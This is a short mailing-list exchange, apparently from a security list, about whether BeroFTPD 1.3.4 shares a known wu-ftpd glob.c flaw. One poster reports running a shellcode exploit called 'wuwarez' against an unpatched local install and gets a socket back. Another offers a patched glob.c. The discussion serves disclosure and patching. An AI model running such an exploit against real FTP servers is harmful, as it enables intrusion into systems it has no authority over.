hi kf, yes by default of course it is.
And past and future "standard" wuftpd bugs will affect beroftpd.
for 1.3.4 just change the glob.c for the glob.c i attached on my last post.
And dont forget that there are a few back-time wuftpd bugs that are present
in bero. have fun :)

In eduardos reply I did not find it clear that BeroFTPD 1.3.4 was or was
not vuln by default compile.  I compiled it from the latest source on
the wu-ftpd.org ftp server. Bare with no patches I get the following
result... which was the same with earlier versions. Again I am on a ppc
linux box:

[root@ibook root]# java wuwarez 42424242 0 localhost anonymous
Shellcode is 44 bytes long
return is 42424242
Got Socket

just patch glob.c ur self, or use the mine already patched (attached).
And about the maintenance of beroftp, as far as i know is not being done
since years ago.
Anyway appart from the bugs derivating from vuftpd i dont see the point on
maintaining bero, i find it quite perfect like it is.

have fun
